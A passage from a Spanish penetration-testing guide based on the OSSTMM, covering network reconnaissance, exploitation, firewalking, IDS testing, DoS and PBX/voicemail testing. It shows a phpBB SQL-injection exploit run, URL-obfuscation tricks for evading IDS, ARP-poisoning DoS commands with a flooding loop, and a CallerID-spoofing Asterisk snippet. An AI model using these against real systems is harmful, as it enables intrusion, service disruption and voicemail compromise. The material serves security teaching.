Sección C – Seguridad en las Tecnologías de Internet 1. Sondeo de la Red Este módulo, es muchas veces no considerado como tal. Sucede, que muchas veces no se realiza, ya que el cliente puede dar directamente un rango de IPs a comprobar. Además, muchas veces, los resultados obtenidos en este módulo son completados en módulos posteriores. Este módulo, es el primer punto de reconocimiento de la red. Se trata de averiguar todo lo que podamos sobre ella de forma no invasiva. Lo haremos desde fuera, intentando averiguar todo lo que podamos de ella, como rangos de IPs que tiene la compañía, subdominios etc... Este módulo es bastante similar a los de la sección A, solo que ahora estamos intentando recolectar información más concreta, sobre mapeos de red, bloques de IP. El buscar IPs individuales será tarea de bloques posteriores. Si encontrásemos una IP individual, incluiríamos su rango en lugar de la IP. Muchas veces esto podría ser una suposición falsa, pero en este punto, estamos intentando recabar Página 34

toda la información posible, que ya filtraremos más tarde. Es mejor que nos sobre que el que nos falte. ¿Qué podemos hacer para conseguirlo? Existen muchas posibilidades, entre las que se destacan: –WHOIS –DNS Zone Transfer WHOIS es un protocolo que está ampliamente extendido para consultar una base de datos oficial para determinar el propietario de un nombre de dominio, dirección IP etc... Tradicionalmente, se ejecutaba por línea de comandos (en linux mediante el comando whois), aunque ahora existen webs que lo ejecutan(Figura 7: ):

Figura 7: En la imagen anterior, introducimos Google, para que nos muestre información sobre el dominio. A continuación se muestra un extracto de la información que nos devuelve la página web: Registrant: Dns Admin Google Inc. Please contact [email protected] 1600 Amphitheatre Parkway Mountain View CA 94043 US [email protected] +1.6502530000 Fax: +1.6506188571 Domain Name: Google.com Registrar Name: Markmonitor.com Registrar Whois: whois.markmonitor.com Registrar Homepage: http://www.markmonitor.com Administrative Contact: DNS Admin Google Inc. 1600 Amphitheatre Parkway Mountain View CA 94043 US [email protected] +1.6506234000 Fax: +1.6506188571 Technical Contact, Zone Contact: DNS Admin Página 35

Google Inc. 2400 E. Bayshore Pkwy Mountain View CA 94043 US [email protected] +1.6503300100 Fax: +1.6506181499 Created on..............: 1997-09-15. Expires on..............: 2011-09-13. Record last updated on..: 2008-06-08. Domain servers in listed order: ns4.Google.com ns3.Google.com ns2.Google.com ns1.Google.com Como vemos, encontramos información tanto del registro, como algunos servidores de dominio. Las DNS zone transfer, normalmente son utilizadas para replicar datos DNS a entre distintos servidores DNS, o para hacer copias de seguridad de los mismos. Un usuario o servidor realizará una petición de transferencia de zona de un servidor de nombres especifico. Si el servidor o permite, todos los nombres DNS y direcciones IP alojadas en el mismo servidor de nombres serán transferidas en ASCII, por lo tanto, será ideal para nuestros propósito. en linux, el comando host: $ > > > > > > > >

host -l rutgers.edu Rutgers.EDU name server dns1.Rutgers.EDU Rutgers.EDU name server dns2.Rutgers.EDU Rutgers.EDU name server dns3.Rutgers.EDU Rutgers.EDU name server turtle.mcc.com Rutgers.EDU has address 165.230.4.76 grad03.Rutgers.EDU has address 128.6.20.29 dgcacook4.Rutgers.EDU has address 128.6.87.158 grad04.Rutgers.EDU has address 128.6.20.30

En windows tenemos la herramienta nslookup: >nslookup 204.228.150.3 Server: ns.computerhope.com Address: 1.1.1.1 Name: www.computerhope.com Address: 204.228.150.3 Existen muchas otras posibilidades, como las técnicas de Forward DNS Brute Force, SMTP Mail Bounce, o la extracción de registros de dominio, aunque son menos utilizadas. Se puede leer ampliamente sobre su funcionamiento en el libro “Penetration Tester's Open Source Toolkit” de Syngress. Página 36

2. Escaneo de Puertos Aquí comienza la primera parte del test intrusivo. En este módulo, se intenta comprobar qué servicios están activos actualmente, a la escucha de que un cliente se conecte a ellos. El escaneo de puertos se sondea los puertos del sistema en el nivel de transporte y de red, y se comprueba también si el firewall está correctamente configurado. Todo sistema conectado a la red, tiene 65536 puertos (incluyendo el puerto 0). Sin embargo, no hace falta comprobarlos todos siempre. El seleccionar qué puertos comprobar lo deciden el propio equipo de la auditoría. Además de comprobar los puertos más importantes, si que se recomienda escanear por puertos poco comunes de vez en cuando, pues es una forma común de detectar servicios conectados pero no deseables, por ejemplo algún troyano que esté a la escucha. NMAP es el escáner de puertos por excelencia, y se hablará de él y su forma de funcionar en el ejemplo de test de penetración del presente texto.

3. Identificación de Servicios En este módulo, se comprueba los resultados obtenidos del escaneo de puertos. Muchas veces, es posible que los escáneres de puertos obtengan resultados erróneos, que sea otro servicio el que está a la escucha (por ejemplo, un troyano a la escucha en un puerto conocido, como por ejemplo 53, que generalmente está asociado a DNS). Es por ello que hay que verificarlo. Para realizar las comprobaciones, se puede conectar mediante algún programa que envíe cadenas de texto, e intercambiar comandos con aquellos servicios que queremos comprobar. Si responden a los comandos de forma esperada (se puede comprobar que comandos admite cada protocolo en los RFC), entonces, ese servicio está a la escucha en el puerto encontrado, y por lo tanto lo hemos verificado. Telnet, Netcat son ejemplos de herramientas para comprobarlo, y se hablará de ellas en el ejemplo de test de penetración del presente texto.

4. Identificación del Sistema En este módulo, se comprueba el sistema operativo de las máquinas. Esto se realiza mediante el análisis de la respuesta de las máquinas ante determinados paquetes que se le envían. Por ejemplo, NMAP (escáner de puertos que además detecta el sistema operativo y versión), lo identifica en base a la comprobación de huellas TCP/IP. Nmap envía una serie de paquetes TCP y UDP al sistema remoto y analiza prácticamente todos los bits de las respuestas. Nmap compara los resultados de una docena de pruebas como puedan ser el análisis de ISN (Initial Secuence Number o número inicial de secuencia) de TCP, el soporte de opciones TCP y su orden, el análisis de IPID y las comprobaciones de tamaño inicial de ventana, con su base de datos nmap-os-fingerprints. Esta base de datos consta de más de 1500 huellas de sistema operativo y cuando existe una coincidencia se presentan los detalles del sistema operativo. Cada huella contiene una descripción en texto libre del sistema operativo, una clasificación que indica el nombre del proveedor (por ejemplo, Sun), el sistema operativo subyacente (por ejemplo, Solaris), la versión del SO (por ejemplo, 10) y el tipo de dispositivo (propósito general, encaminador, conmutador, consola de videojuegos, etc.). Aunque el programa que utilicemos para adivinar el sistema operativo y versión que utiliza, debemos de tener cuidado, puesto que muchas veces, se suelen equivocar, y aunque acierten, mucha gente suele buscar exploits para un determinado sistema operativo y versión, sin contar con que éste, podría haber sido parcheado o configurado para solucionar el fallo de seguridad que se tiene documentado.

Página 37

5. Búsqueda de Vulnerabilidades y Verificación Aquí es donde se va a realizar el ataque en cuestión: se va a buscar y explotar los fallos que se encuentren en las máquinas que haya en la red. Generalmente, se suele utilizar programas automatizados, que buscan fallos de seguridad documentados sobre las versiones de los programas y sistema operativo que usan las máquinas. Cabe añadir, que la OSSTMM exige que se utilice al menos 2 programas automatizados distintos, para comprobar las consistencias entre ambos, y así poder tener más información con menor probabilidad de equivocarnos. Seguidamente, habrá que comprobar que esos fallos existen efectivamente, y que no sean falsos positivos. Aquí es donde entran los exploits: los exploits son pequeños trozos de código que utilizan los crackers para introducirse en las máquinas ajenas. Los auditores, deberán hacer lo mismo, pero de forma controlada para causar el menor número de daños, y siempre con la finalidad de poder comprobar que esos fallos existen. Hay que tener en cuenta, que todos los programas que existen en el mundo, contienen errores, ya que el ser humano no es perfecto. Siempre encontraremos fallos con cada versión nueva de software que pretenda corregir los de la anterior, y pueden ser de muchos tipos, por ejemplo: desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc. Por ejemplo, puede darse el caso, de que se construya un programa, donde en un determinado momento se pida al usuario algo por teclado, y no se compruebe el tamaño de la entrada, y cause un buffer overflow. Siempre se puede programar un programa que se aproveche de esto, y escriba en las posiciones de memoria referentes al UID y se haga con el control de la máquina. Podría igualmente ser este mismo ejemplo, pero en un programa con el patrón cliente-servidor, donde el servidor espera algo del cliente sin comprobar la longitud de entrada. Hay dos tipos de exploits: –0-day: son trozos de código privados, que aquella persona que los implementó no desea hacer públicos (ya sea por no causar alarma, o para usarlos en beneficio propio). –Públicos: son trozos de código cuyo propietario ha decidido poner a disposición de todo el mundo. Existen múltiples webs donde gente comparte los exploits como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org por ejemplo. Normalmente, una vez han sido hechos públicos, es cuando los fabricantes conocen estos fallos y tratan de solucionarlos. A continuación muestro un ejemplo de como funciona un exploit. Se trata de phpBB Links MOD 1.2.2 Remote SQL Injection Exploit. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal: auditor@maquina:~/Desktop/exploit$ perl phpBB2.pl phpBB without ( http ) Página 38

=> www.foroejemplo.com => Insert directory => es: /forum/ - /phpBB2/ => /foros/ => User ID => Number: => 1 Exploit in process... Exploit in process... Exploit finished! MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b Lo que ha sucedido aquí, es que dándole la dirección del foro, la sección, el ID de un usuario (en este caso 1, que es el administrador del foro), nos ha recuperado el pass codificado en MD5, el cual podremos intentar decodificar, por ejemplo, utilizando fuerza bruta, ataque de diccionario, desde la máquina local, por lo que tenemos todo el tiempo del mundo para hacerlo, sin necesidad de utilizar la red, y sin ser intrusivos.

6. Testeo de Aplicaciones de Internet En este tipo de testeo, se analizan los programas propietario de la empresa que estamos auditando. Se comprueba su robustez, y se tratará de buscar fallos, y explotarlos. A diferencia del apartado anterior, aquí deberemos de implementar nosotros mismos nuestro propio exploit. La forma de hacerlo, es demasiado extensa como para explicarla en este apartado, aunque sí es interesante el ver una herramienta que facilita la tarea, como es Metasploit Framework (MSF). Metasploit Framework es una herramienta para desarrollar y ejecutar exploits contra máquinas remotas(Figura 8: ).

Figura 8: Página 39

El ciclo de vida típico de una vulnerabilidad y su explotación es la siguiente: –Descubrimiento: un investigador de seguridad o vendedor descubre una vulnerabilidad de seguridad crítica en el software –Divulgación: el investigador de seguridad se mantiene fiel a la política de privacidad e informa al vendedor, o bien lo divulga en una lista de correo pública. En ambos casos, el vendedor debe desarrollar un parche para solucionar la vulnerabilidad. –Análisis: el investigador o cualquier otra persona de cualquier punto del mundo, empiezan a analizar la vulnerabilidad para determinar su explotabilidad. ¿Puede ser explotado?¿Puede ser explotado remotamente?¿Resultará su explotación en una ejecución remota de código, o colgará el sistema? Esta fase incluye también la depuración de la aplicación vulnerable mediante la introducción de código malicioso en las partes vulnerables del código. –Desarrollo del exploit: una vez las respuestas a las preguntas clave han sido determinadas, el proceso de desarrollo del exploit comienza. Esto ha sido considerado normalmente como “artes oscuras”, requiriendo un conocimiento profundo de los registros del procesador, código ensamblador, offsets y payloads (payloads, en su significado de acciones a tomar par garantizar un acceso remoto a la máquina, como por ejemplo vnc). –Pruebas: esta es la fase donde el programador comprueba el exploit contra varias plataformas, service packs, o parches, y posiblemente contra distintos procesadores. –Liberación: una vez el exploit ha sido testeado, y los parámetros específicos requeridos para su ejecución con éxito han sido determinados, el programador libera el exploit, ya sea de forma privada, o en un foro público. Muchas veces, el exploit es modificado para que no funcione tal cual, sino que haya que realizar unos pequeños cambios. Esto se hace, para que los conocidos como “script-kiddies” no sepan utilizarlo, y que solamente aquella gente que sabe lo que hace y como funciona el exploit, puedan utilizarlo.

7. Testeo del Router En este módulo, tratamos de averiguar todo lo posible sobre el Router que separa la red de la empresa, del resto del mundo, de Internet. Intentamos averiguar cuales son las ACLs (Access Control List) que se encargan de aceptar o denegar paquetes. Una técnica interesante para conseguir esto, es la denominada Firewalking: Antes de comenzar a explicar la técnica, me gustaría resaltar, que las IPs utilizadas son ficticias e internas (aunque realmente, la técnica se aplicaría a IPs externas, y enrutables). Firewalking es una técnica que puede ser utilizada para recoger información de una red remota protegida por un firewall. Para comprender esta técnica, es necesario comprender cómo funciona la herramienta Traceroute. Traceroute es una herramienta de depuración de redes utilizada para poder realizar un mapa de todos los hosts que están en la ruta hasta un destino indicado. Envía paquetes UDP, o ICMP de tipo echo, a un host destino, y va incrementando poco a poco su time tu live (TTL) cada ronda (por defecto, una ronda consiste de 3 paquetes o sondas). Si se utiliza UDP, el puerto de destino se incrementará en uno por cada sonda. Como bien sabemos, el TTL es un campo de un datagrama IP utilizado para limitar el número de nodos por los que se desea que viaje el datagrama antes de ser descartado o devuelto a su origen por la IP, ya que cada vez que pasa por un nodo, se decrementa en uno. Si vamos incrementando en uno este campo cada vez (el TTL inicial), nos irá devolviendo un mensaje de error ICMP cada vez que el TTL sea cero, y por lo tanto el host origen conocerá en qué router expiró el paquete. Ahora que conocemos como funciona traceroute, podemos ver un par de ejemplos de como se comporta el programa ante unas situaciones particulares: Página 40

En el primer escenario, tenemos una red protegida por un firewall que bloquea todo el tráfico entrante excepto ping y su respuesta (ICMP tipo 8 y 0 respectivamente). En el primer ejemplo, usamos los paquetes UDP por defecto(Figura 9: ):

Figura 9: Como vemos, nos lo bloquea. Ahora bien, vamos a intentarlo utilizando ICMP(Figura 10: ):

Figura 10: Con esto, ya vemos que ya podemos acceder dentro de la red, y recoger datos de ella. En el segundo escenario, vamos a ver que sucede si el firewall bloquea todo el tráfico entrante a excepción de UDP puerto 53, es decir, para DNS (Figura 11: ):

Figura 11: Como podemos ver en la figura (Figura 11: ), el traceroute es bloqueado en el octavo salto porque no se permite el paso exceptuando peticiones DNS. Sabiendo esto, podemos diseñar un plan. Tenemos control sobre: –El puerto con el que empezar traceroute (recordemos, que irá incrementándose) –El numero de sondas por ronda (3 por defecto) Página 41

Además, también conocemos el número de saltos entre nosotros y el firewall, por lo que es fácil deducir:

(puerto_objetivo – (numero_de_saltos * numero_de_sondas)) -1 Por ejemplo:

(53 – (8*3)) -1 = 28 Por lo tanto, si nuestro puerto inicial lo especificamos como 28, al llegar al firewall, los paquetes se enviarán al puerto 53, y nos permitirá el paso (Figura 12: ):

Figura 12: Como vemos, hemos conseguido saltar por encima del objetivo, pero se nos bloquea, más adelante, ya que no se nos permite el paso de tráfico con puerto distinto a 53, y traceroute incrementa el puerto. Una posibilidad para sortear esto, sería modificar el código de traceroute para que no incremente el puerto objetivo, pero esto escapa al alcance del presente documento. De momento, debemos conformarnos con que sabemos que el tráfico dirigido al puerto 53 se nos permite el paso, y que otros se nos está bloqueando. Además, conoceremos el siguiente host al firewall. Ahora comienza el concepto de Firewalking. Para poder utilizar la respuesta de la puerta de acceso como medio de información, debemos saber dos cosas: –La dirección IP de la última puerta de acceso antes firewall –La dirección IP del host detrás del firewall. La primera, nos servirá como origen de nuestras mediciones (en términos de saltos), y la segunda la utilizaremos como dirección hacia la que enviar el flujo de paquetes. Podremos utilizar una técnica conocida como firewall protocol scan, que nos dará a conocer qué puertos/protocolos nos permite el firewall utilizar para atravesarlo. Para ello, trataremos de probar cada puerto, y esperar las respuestas. O también podemos tratar de enviar paquetes a todos los hosts detrás del firewall, para intentar hacer un mapa de la topología de la red. A partir de aquí, traceroute nos limita mucho, por lo tanto, vamos a presentar una nueva herramienta: firewalk. Su funcionalidad se basa en lo mencionado. Realizará dos fases, una de exploración, y otra de escaneo. Una la hará para averiguar el TTL donde está la puerta de acceso, y otra, para realizar el firewall protocol scan. Un ejemplo de ejecución (Figura 13: ):

Página 42

Figura 13:

8. Testeo de Sistemas de Confianza Este módulo es un poco confuso, y realmente podría englobarse dentro de el testeo de vulnerabilidades y el testeo de firewall/ACL. Se intenta poner a prueba las relaciones de confianza entre distintas máquinas, mediante spoofing por ejemplo. Se comprueba también si es posible averiguar estas relaciones mediante la recogida de inteligencia competitiva, comprobar que no haya filtraciones hacia internet, por ejemplo Google hacking.

9. Testeo de Firewall Este módulo es bastante similar al del testeo de router. Las técnicas aplicadas en el anterior pueden ser aplicables a éste. Aquí se realiza un estudio más avanzado de las reglas del firewall, entendiendo al 100% todas las reglas, y permitiendo solo aquello expresamente necesario. Además, no solamente se estudiará el firewall que haya en la puerta de enlace; se estudiarán todos los firewalls que haya en el sistema estudiado.

10. Testeo de Sistemas de Detección de Intrusos Este módulo se encarga de revisar el correcto funcionamiento de un sistema de detección de intrusos (IDS). Un IDS, es una herramienta informática que se utiliza para detectar accesos no autorizados a una red. Son programas que están a la escucha de lo que sucede en la red, funcionando de forma similar a un sniffer, analizando todo lo que pasa por una determinada sección de la red en busca de tráfico “sospechoso”, que pudiera significar un uso indebido de la red. Por indebido, podemos entender tanto el ataque de un hacker, spam, uso indebido de la red por parte de usuarios etc. Una de las funciones más comunes dentro de un IDS, es la detección de patrones. El IDS incluye una base de datos de patrones (conocidos como firmas) de ataques conocidos, y cuando detecta uno Página 43

en la red, hace saltar una alarma, de tal forma que los administradores del sistema puedan realizar las acciones pertinentes. Por ejemplo, podría ser una política de una empresa el que los usuarios de la red no deban visitar páginas de pornografía. Por lo tanto, el IDS podría configurarse de tal forma que, cuando detecte la palabra sexo, pornografía etc... bloquee el acceso. Con la detección de patrones en URL (como en el ejemplo anterior), me resulta interesante comentar, una técnica para tratar de evitar que el IDS alerte de un uso fraudulento. Se trata del uso de obfuscated URLs. A continuación, voy a comentar su funcionamiento básico, de forma que podamos ver cómo puede burlar un IDS. Debo de advertir, que los ejemplos que voy a exponer a continuación utiliza IPs hace mucho que han cambiado, por lo que los ejemplos podrían no funcionar. ¿Que es una obfuscated URL? Una obfuscated URL es una dirección url que hemos traducido (u ofuscado en nuestro caso) para poder burlar o engañar tanto a un IDS como a un ser humano. Trataremos de que no se reconozca aquella página web, por ejemplo, para usos fraudulentos. Ejemplo de web sin ofuscar: http://www.pc-help.org/obscure.htm Misma web ofuscada: http://3468664375@3468664375/o%62s%63ur%65%2e%68t%6D Como vemos, es difícil de reconocer, y por tanto es altamente probable que pueda pasarse por alto su contenido real, y probablemente pueda pasar inadvertida ante un IDS que no esté debidamente configurado. ¿Como ha sido traducida? La parte entre http:// y la @, se suele utilizar para la autenticación (de la forma usuario:pass), pero en las direcciones donde no se exige autenticación, no importa lo que pongamos, por lo que tanto el navegador como el servidor simplemente lo ignorará. Esto podría utilizarse para tratar de engañar también: http://www.upv.es@3468664375/obscure.htm Esta dirección podría hacer creer que la página web está en upv.es La segunda parte, (entre la @ y la primera barra) 3468664375, es la propia dirección IP donde está hospedada la página web, solo que se ha traducido de decimal a dword. Esto hace que sea más dificil aún de reconocer. La forma de hacerlo, es la siguiente: 206 * 256 + 191 = * 256 + 158 = * 256 + 55 = 3468664375 Por último, nos queda parte entre la primera barra y el final de la url: /o%62s%63ur%65%2e%68t%6D Esta parte equivale a: /obscure.htm Lo que hemos realizado aquí, es el traducir algunas letras a hexadecimal (base 16) de sus códigos ASCII. Esto no ha sido mas que un ejemplo. Hay muchas otras formas de realizarlo, desde las más simples, a las más complejas, por lo que es algo interesante a realizar si queremos pasar desapercibido ante algunos IDS, y algo que debemos revisar en el IDS que estemos comprobando. Página 44

11. Testeo de Medidas de Contención En el presente módulo, se comprueban todas las medidas existentes de respuesta que existen en el sistema, para actuar ante un virus, troyanos, programas con código malicioso. Por lo tanto, se comprobará cómo actúan los programas y políticas existentes en el sistema para mantenerlo limpio de estas amenazas. Soluciones tales como aislamiento o cuarentena de los mismos, copias de seguridad, antivirus etc...

12. Password Cracking El password cracking es el proceso de comprobación de cuan difícil es de descifrar una contraseñas. Se trata de obtener las contraseñas, aprovechándonos de fallos ya sea en el sistema de cifrado, o en debilidades introducidas por factor humano. En el fallo introducido por factor humano, podemos destacar: –Contraseñas

demasiado cortas –Uso de una misma contraseña en varios sitios –Utilización de palabras conocidas, existentes en diccionarios –Uso de contraseñas comunes (Dios, sol, Ra etc..) que se encuentren también en diccionarios –Utilización del login como contraseña (login: Paco Pass: Paco) El tipo de ataque más común para aprovecharnos de estos fallos, es el uso de ataques de fuerza bruta o diccionario, de los cuales se muestra un ejemplo en la parte técnica del documento. Para poder mejorar la robustez de nuestras contraseñas, se aconseja, evitar los fallos descritos antes, y además: –Uso

de mayúsculas y minúsculas –Utilización de letras y números –Utilización de símbolos y acentos –Cambiar regularmente de contraseña Si seguimos estos consejos, el proceso se ralentiza considerablemente, hasta el punto de hacer que no sea útil el tiempo invertido para descifrar la contraseña, y se intente entrar al sistema por otros medios. Por la parte de fallos del propio algoritmo de compresión, la mayoría se basan en fallos de origen matemático o puramente criptográfico, lo cual se escapa de la intención del documento. No obstante, se expone un ejemplo que ha sido bastante comentado, el fallo de MD5, que está documentado en wikipedia : A pesar de haber sido considerado criptográficamente seguro en un principio, ciertas investigaciones han revelado vulnerabilidades que hacen cuestionable el uso futuro del MD5. En agosto de 2004, Xiaoyun Wang, Dengguo Feng, Xuejia Lai y Hongbo Yu anunciaron el descubrimiento de colisiones de hash para MD5. Su ataque se consumó en una hora de cálculo con un clúster IBM P690. Página 45

Aunque dicho ataque era analítico, el tamaño del hash (128 bits) es lo suficientemente pequeño como para que resulte vulnerable frente a ataques de «fuerza bruta» tipo «cumpleaños». El proyecto de computación distribuida MD5CRK arrancó en marzo de 2004 con el propósito de demostrar que MD5 es inseguro frente a uno de tales ataques, aunque acabó poco después del aviso de la publicación de la vulnerabilidad del equipo de Wang. Debido al descubrimiento de métodos sencillos para generar colisiones de hash, muchos investigadores recomiendan su sustitución por algoritmos alternativos tales como SHA-1 o RIPEMD-160.

13. Testeo de Denegación de Servicio La denegación de servicio(Denial of Service o DoS), es una situación en la que el sistema deja de funcionar correctamente, colapsando, saturando y/o sobrecargando el servicio víctima y pudiendo, incluso, provocar la caída total del sistema. Es decir, aquí no se obtiene una ventaja directa de su funcionamiento incorrecto, sino que simplemente hace que deje de funcionar correctamente. Es un tipo de situación bastante común ya que es bastante fácil de provocar, y muchas veces se lee por la red, de internautas que están en desacuerdo con una decisión que ha tomado un determinado colectivo, y han provocado un DoS. La denegación de servicio puede darse tanto intencionada como accidentalmente. Por ejemplo, un servidor web puede verse envuelto en una situación en la que no es capaz de dar servicio a tantos clientes como los que lo piden, y esto es una situación completamente legítima, y sin ninguna intención de causar el daño. Debemos de tener en cuenta, que este tipo de comprobaciones (testeo de Dos), son muy susceptibles de causar daños al sistema, por lo que se debe de pedir permiso expreso a la empresa a la cual se esté realizando la auditoría. Es mas, algunos ataques que causan DoS como el flood (inundación), o DDos (Denegación de Servicio Dinámico) están expresamente prohibidos por la OSSTMM, ya que pueden causar problemas, no solo a la máquina que estemos comprobando, sino que también pueden verse afectados routers y sistemas entre el tester y el objetivo. Un ejemplo sencillo de un ataque DoS, es el ARP Injection. Antes de explicar el ataque, vamos a recordar en que se basa el protocolo ARP: 1.Petición ARP: el ordenador A pregunta a toda la red, “¿Quien tiene esta IP?” 2.Respuesta ARP: El ordenador B le contesta al ordenador A “Yo tengo esta IP. Mi MAC es: (la MAC que sea)” 3.Petición ARP Inversa (RARP): Mismo concepto que la petición ARP, pero el ordenador A pregunta: “¿Quien tiene esta dirección MAC?” 4.Respuesta RARP: Ordenador B contesta al ordenador A “Yo tengo esa dirección MAC, mi dirección IP es: (la IP que sea)” De esta forma, pueden comunicarse los ordenadores, traduciendo direcciones IP a MAC y viceversa. Esto sucede constantemente, informándose continuamente de los cambios que hay (por ejemplo, cada vez que un ordenador reinicia). Dado que las peticiones las reciben todos los ordenadores de la red, cualquiera podría contestar a la petición, y en esto se basa el ataque. En nuestro caso, vamos a intentar hacer creer a una máquina, que determinada MAC corresponde a una IP inexistente, de tal forma que le sea imposible comunicarse con ella. En el ejemplo a continuación, desde una máquina windows haremos que la máquina víctima no sea capaz de Página 46

comunicarse con el router, de forma que quede incomunicada con el exterior. Para realizar el ataque: Primero, necesitamos saber la dirección MAC del router : C:\>arp -a Interfaz: 192.168.0.25 ---0x2 Dirección IP Dirección Física Tipo 192.168.0.1 00-09-45-e3-6f-31 Ahora, con ayuda de un programa llamado Némesis, vamos a envenenar la tabla ARP de la víctima: C:\Némesis\>nemesis arp -D 192.168.0.50 -S 192.168.0.1 -H 00:01:02:03:04:05 ARP Packet Injected Con este comando, hemos envenenado la tabla ARP de la máquina con dirección 192.168.0.50 que ahora cree que la dirección MAC del router (con IP 192.168.0.1) tiene la MAC 00:01:02:03:04:05, la cual es falsa, por lo que no podrá comunicarse con él (ya que no existe). Esto es solamente momentáneo, ya que como hemos dicho, los mensajes ARP van enviándose periódicamente, por lo que en algún momento, le llegará un mensaje con la MAC del router correcta. Una forma de asegurarnos de que esto no suceda, es inyectar paquetes como hemos hecho hasta ahora, solo que dentro de un bucle: C:\Némesis\>FOR /L %i IN (1,1,6500) DO nemesis arp -D 192.168.0.50 -S 192.168.0.1 -H 00:01:02:03:04:05 De esta forma, la máquina víctima estará bajo los efectos de un DoS mientras dure el bucle.

14. Revisión de las Políticas de Seguridad Las políticas de seguridad son la versión escrita y documentada de todas las medidas que tiene la empresa en lo referente a la seguridad de los sistemas. Este módulo debería realizarse una vez se han revisado todas las secciones técnicas y vulnerabilidades, ya que sino, los resultados obtenidos aquí, no serían comparables con las políticas de seguridad que deberían de cumplirse. Primeramente, debe de comprobarse que las políticas de seguridad sobre papel, están justificadas, tanto dentro del negocio (por ejemplo, no utilizar servicios innecesarios), como legal y éticamente. Hay que prestar especial atención a que se cumplan las normativas de privacidad de los empleados, y que además, todo lo revisado esté conforme a las leyes locales. Una de las funciones principales en este módulo (y quizás más importante también) sea la comparación de las medidas que hay sobre papel, y las implementadas y en funcionamiento. Por lo tanto, se debería de comprobar que las políticas de seguridad diseñadas están correctamente implementadas y configuradas.

Página 47

Sección D – Seguridad en las Comunicaciones 1. Testeo de PBX Un PBX(siglas en inglés de Private Branch Exchange) cuya traducción al español sería Central secundaria privada automática, es cualquier central telefónica conectada directamente a la red pública de teléfono por medio de líneas troncales para gestionar, además de las llamadas internas, las entrantes y/o salientes con autonomía sobre cualquier otra central telefónica. Visualmente, es como las antiguas centralitas que se veían en las películas, donde se le pedía por teléfono a la operadora que te conectara con un número telefónico, y entonces podía establecerse la comunicación para hablar(Figura 14: ).

Figura 14: Existen muchas razones por las que se debería realizar una revisión concienzuda en este módulo: •

Los PBX y periféricos tienen largos tiempos de vida, por lo que no siempre están a la última. Siendo así, muchos serán bastante antiguos, por lo que sus dispositivos de seguridad también los son, por lo tanto, los hacen fáciles de manipular. Además, sus bases de datos internas pueden estar sin codificar, y su estructura fácil de comprender.

•

Existen pocas empresas que se dediquen a fabricarlas, por lo que conociendo un par, conoces el 70% del mercado.

•

La gente que maneja las PBX no suelen estar concienciados de medidas de seguridad, por lo que muchas veces, hasta las funciones más obvias de seguridad, muchas veces no están presentes.

•

La mayoría de veces están gestionados remotamente, por lo que es fácil para los hackers encontrar estos puntos de acceso.

•

Las actualizaciones de software de los PBX se suelen hacer remotamente, por lo que es posible interceptarlas y corromperlas, introduciendo caballos de Troya

Página 48

•

El mantenimiento remoto por parte de los proveedores significa que las contraseñas y mucha de la información pueden encontrarse fácilmente fuera de la empresa (por ejemplo, estar disponible en algún manual en alguna página web).

•

Muchas veces es utilizado por todo el mundo, no solamente gente cualificada, por lo que hace que sea más susceptible a la ingeniería social (por ejemplo, engañando para que les den la contraseña).

•

Suele estar instalado en lugares poco utilizados, como en algún almacén poco transitado, por lo que hace que sea fácil de acercarse y manipularlo.

•

Los PBX son extremadamente complicados, por lo que es muy difícil de garantizar la seguridad de cada característica que ofrece por separado, por lo que es muy posible que un hacker se prepare a fondo un tipo de penetración, y superar al encargado, ya que este tiene una visión más general del mismo.

El comprometer la PBX significa, que un atacante pueda además, obtener información privilegiada de la empresa, llamar en su nombre, y un largo etc.

2. Testeo de Buzón de Voz/Contestador Este tema ha sido ampliamente comentado sobre la red, sobre todo durante los años 80, aunque volvió a ser actualidad cuando el móvil de Paris Hilton (conocida figura pública) fue hackeado. Tipos de buzones de voz, hay miles. Cada uno es configurable, por lo que posibilidades hay muchas, y lo más común es que estén embebidas dentro de la propia PBX. Además de estas últimas, existen programas que implementan estas funciones, como por ejemplo Asterisk, un programa libre que proporciona funcionalidades de una PBX. Este es utilizado actualmente, en muchos lugares, como por ejemplo la UPV (universidad politécnica de Valencia). La seguridad de los buzones de voz, suelen estar basados en 2 cosas: •Contraseña •CallerId: número desde el que se llama. Existen multitud de formas de acceder a los mensajes guardados en el buzón de voz personal, siendo la más común (para particulares), el descolgar el teléfono, y esperar a acceder al buzón de voz. Esta forma de autenticarse, se realiza mediante la CallerId. En otros, se suele marcar un número de teléfono (dependerá de la PBX que proporcione el servicio) e introducir una contraseña. Esto suele ser más común en empresas, o para poder acceder a los buzones de voz de forma remota. A modo de ejemplo de comprometer la seguridad basada en el CallerID, se va a mostrar un trozo de código que utiliza la técnica de CallerID Spoofing: #!/asterisk/php/bin/php -q Podemos añadir lo siguiente en el /var/lib/asterisck/agi-bin y después especificar la extensión que quieres utilizar para marcar y ejecutar el script php/agi: exten => 666,1,Answer exten => 666,2,AGI(tmobilevoicemail_spoof.php) exten => 666,3,Hangup Como vemos, de la misma forma que Asterisk puede utilizarse como PBX, aquí podemos utilizarlo para fines maliciosos, y por tanto, también para saber como funcionan las herramientas de gente con intenciones fraudulentas.

3. Revisión de los faxes Este módulo se ocupa de revisar la correcta configuración de los faxes. Comprobar si el sistema operativo está actualizado, contraseñas por defecto, etc. Como bien dice Bruce Schneier, experto en seguridad informática y escritor, los faxes son fascinantes. Son tratados como los documentos originales, aunque carecen de los mecanismos de autenticación que se han desarrollado para los documentos oficiales, como puedan ser las marcas de agua, firmas, etc... La mayoría de las veces no hay problemas, pero muchas veces se puede explotar la confianza innata de las personas en los faxes en beneficio propio. A medida que más y más compañías están adquiriendo faxes multifunción, están dando más oportunidades a que surjan fallos de seguridad. Esto se debe a que, uno de los factores que más se está abarcando a todos los fabricantes, es que no existen restos que un auditor/forense pueda examinar para solucionar problemas. Es decir, puedes enviar por FTP o email cualquier documento que quieras (a la competencia, por ejemplo), sin que se registre nada. La mayoría de estas máquinas proveerán una dirección de FTP o email del destino, pero el remitente no lo identifica. Existen algunos fabricantes que permiten asignar a todo el mundo un código ID (normalmente de 3 o 4 dígitos) que deberás introducir para poder enviar cualquier cosa, pero esto no suele ser muy común. Hoy en día puedes enviar faxes desde la privacidad de tu puesto de trabajo, aunque muchos faxes tradicionales guardan una copia de 